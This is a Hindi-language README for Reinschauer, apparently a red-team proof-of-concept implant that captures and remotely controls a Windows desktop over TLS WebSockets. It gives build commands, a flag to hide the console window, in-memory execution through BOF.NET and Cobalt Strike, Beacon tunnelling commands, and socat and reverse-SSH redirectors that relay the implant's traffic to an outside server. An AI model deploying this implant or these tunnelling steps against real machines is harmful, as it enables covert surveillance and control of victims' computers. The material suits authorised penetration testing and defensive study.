Reinschauer

वेबसॉकेट्स पर Windows मशीनों को दूरस्थ रूप से नियंत्रित करने के लिए एक PoC। विस्तृत विवरण के लिए मेरा ब्लॉग देखें।

• Go exe, .NET/C# exe के रूप में और BOF.NET तथा Cobaltstrike का उपयोग करके in-memory निष्पादित किया जा सकता है।

• ट्रैफ़िक को एक इंटरैक्टिव Beacon कनेक्शन के माध्यम से टनल किया जा सकता है।
• अधिकांश HVNC इम्प्लीमेंटेशन के विपरीत, reinschauer कच्चे बिटमैप्स को JPEG में परिवर्तित करता है और फ्रेम आकार कम करने के लिए डेटा को नेटवर्क पर भेजने से पहले संपीड़ित करता है।
• FPS और गुणवत्ता सेटिंग्स को GUI के माध्यम से गतिशील रूप से बदला जा सकता है। ये इम्प्लांट को प्रभावित करती हैं, जिससे नेटवर्क ट्रैफ़िक कम हो जाता है। डायनेमिक स्केलिंग इस उपकरण को बड़ी स्क्रीन वाली मशीनों के लिए इम्प्लांट के रूप में उपयोग करने की अनुमति देती है।

• बुनियादी माउस और कीबोर्ड नियंत्रण संभव हैं।
• आप TLS सर्वर फ़ाइलें उत्पन्न करने के लिए server फ़ोल्डर में स्क्रिप्ट का उपयोग कर सकते हैं या अपनी खुद की फ़ाइलें ला सकते हैं।
• सर्वर विंडो का आकार स्वतंत्र रूप से बदला जा सकता है, जबकि क्लिक इवेंट्स को लक्ष्य मशीन पर सही पिक्सेल में अनुवादित किया जाना चाहिए™।
• उपलब्ध विकल्पों के लिए reinschauer-server -h का उपयोग करें।

प्रोटोकॉल

+----------------------------------------------------------------------------------------+
|                                                                                        |
|                                                                                        |
|                  +----------------------------------------------------+                |
|                  |#1: Type (Binary or Text)                           |                |
|                  |    Binary: JPG Frame                               |                |
|                  |                                                    |                |
|                  |#2: Text                                            |                |
|                  |    ELO (Ping)                                      |                |
|                  |    FPS <FPS Count>                                 |                |
|                  |    SCL <Scaler Count>                              |                |
|                  |    QUL <JPG Quality>                               |                |
|                  |    LCL X Y (Left Click + Coordinates)              |                |
|                  |    RCL X Y                                         |                |
|                  |    KEY <Char>                                      |      xxxxxx    |
|       xxxxx   <--+----------------------------------------------------+--> xxxx   xx   |
|       x   xx                     Websockets via TLS                        xx       x  |
| x     xxxxxx                                                                xxxxxxxxx  |
| xxx     x   xx                                                          xx    x        |
|     xxxxxxxx                                                              xxxxx xxxxxx |
|         x                                                                   xxxxx      |
|         xx                                                                   xx        |
|         x xx                                                                 xxx       |
|        xx  xx                                                                x xx      |
|        x    xx                                                              xx  xxx    |
|       x      xx                                                             x     xx   |
|       x       x                                                            xx      x   |
+----------------------------------------------------------------------------------------+

अक्सर पूछे जाने वाले प्रश्न

निर्माण कैसे करें?

• golang का नया संस्करण स्थापित करें, >=1.18
• डेबियन-आधारित डिस्ट्रोस के लिए: sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev

$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build

मैंने इस रिपो में dotnet वेरिएंट का एक पहले से निर्मित और स्टैंडअलोन संस्करण शामिल किया है। यदि आप इसे स्वयं बनाना चाहते हैं, तो x64 Release वेरिएंट बनाने के लिए Visual Studio प्रोजेक्ट फ़ाइल का उपयोग करें। यदि यह स्वचालित रूप से नहीं होता है, तो Visual Studio के माध्यम से प्रोजेक्ट के लिए आवश्यक NuGet पैकेज डाउनलोड करें। आपके लक्ष्य सिस्टम में संभवतः ये पैकेज भी इंस्टॉल नहीं हैं, इसलिए लक्ष्य पर परिणामी exe निष्पादित करते समय DLLs गायब हो सकती हैं। इससे बचने के लिए, यह प्रोजेक्ट आवश्यक लाइब्रेरीज़ के साथ परिणामी exe को बंडल करने के लिए स्वचालित रूप से ILMerge.exe को आमंत्रित करता है। इसलिए, लक्ष्यों पर reinschauer-dotnet-standalone.exe नामक उत्पन्न फ़ाइल का उपयोग करें।

आपको पहले go get चलाना पड़ सकता है। कंसोल विंडो को अक्षम करने के लिए -ldflags -H=windowsgui का उपयोग करें।

क्लाइंट/सर्वर कौन है?

client लक्ष्य (Windows) मशीन पर निष्पादित किया जाता है। server घटक परीक्षक की (Linux) मशीन पर निष्पादित किया जाता है। यह डिफ़ॉल्ट रूप से 0.0.0.0:6969 पर सुनता है। Golang और C# दोनों क्लाइंट सर्वर के साथ संगत हैं।

क्या यह HVNC / Hidden Desktop है?

नहीं। यह उपयोगकर्ता के समान डेस्कटॉप का उपयोग करता है।

कुछ कुंजियाँ और कुंजी संयोजन काम नहीं करते, कृपया ठीक करें

मुझे पता है कि |, @ और § वर्तमान में काम नहीं कर सकते हैं, कम से कम मेरे जर्मन पोटैटो कीबोर्ड पर। कृपया ठीक करें।

क्लाइंट बहुत अधिक CPU समय उपयोग करता है

कम FPS मान उपयोग करने से काम चल सकता है।

मेरे पास client और server के बीच सीधा कनेक्शन नहीं है

आप ट्रैफ़िक टनल करने के लिए CobaltStrike Beacon का उपयोग कर सकते हैं।

मेरे पास Cobaltstrike नहीं है!

इस तरह एक socat रीडायरेक्टर का उपयोग करें:

socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>

और क्लाइंट को आवश्यक पैरामीटर के साथ शुरू करें या उन्हें हार्डकोड करें।

BOF.NET और Cobaltstrike उपयोग के संबंध में नोट्स

पहले, मैनुअल के अनुसार BOF.NET सेट अप करें। साथ ही, bofnet_load <Path to Exe> के साथ स्टैंडअलोन exe लोड करें। फिर, तय करें कि Reinschauer का उपयोग कैसे करना है:

1. आप ट्रैफ़िक को एक सक्रिय Beacon कनेक्शन के माध्यम से टनल कर सकते हैं।
2. आप ट्रैफ़िक को किसी भी अन्य Internet-facing सर्वर पर भेज सकते हैं।

Beacon के माध्यम से ट्रैफ़िक टनल करना

• सत्र को इंटरैक्टिव पर सेट करें: sleep 0।
• रिमोट पोर्ट फ़ॉरवर्डिंग सेट करें: rportfwd_local 6969 127.0.0.1 6969।
• Reinschauer को बैकग्राउंड में निष्पादित करें: bofnet_job reinschauer_dotnet.BofStuff। यह स्वचालित रूप से Reinschauer को लक्ष्य मशीन के 127.0.0.1 पर 127.0.0.1:6969 से कनेक्ट कराता है। यह TLS को भी निष्क्रिय कर देता है, क्योंकि यह वैसे भी Beacon कनेक्शन का उपयोग करता है।
• Reinschauer को समाप्त करने के लिए, bofnet_jobkill <Job ID> का उपयोग करें।

किसी अन्य सर्वर पर ट्रैफ़िक भेजना

• Reinschauer को बैकग्राउंड में निष्पादित करें: bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true। बूलियन पैरामीटर TLS उपयोग सक्षम करता है।
• Reinschauer को समाप्त करने के लिए, bofnet_jobkill <Job ID> का उपयोग करें।

फिर, SSH और GatewayPorts सुविधा का उपयोग करें: sshd_config में GatewayPorts: clientspecified जोड़ें और SSH सर्वर को पुनरारंभ करें। फिर, ssh -R '0.0.0.0:8080:localhost:6969'' [...] आपके स्थानीय पोर्ट 6969 को 0.0.0.0:8080 पर उपलब्ध कराएगा। सावधान रहें :)

या, सर्वर पर एक socat रीडायरेक्टर सेट करें:

socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>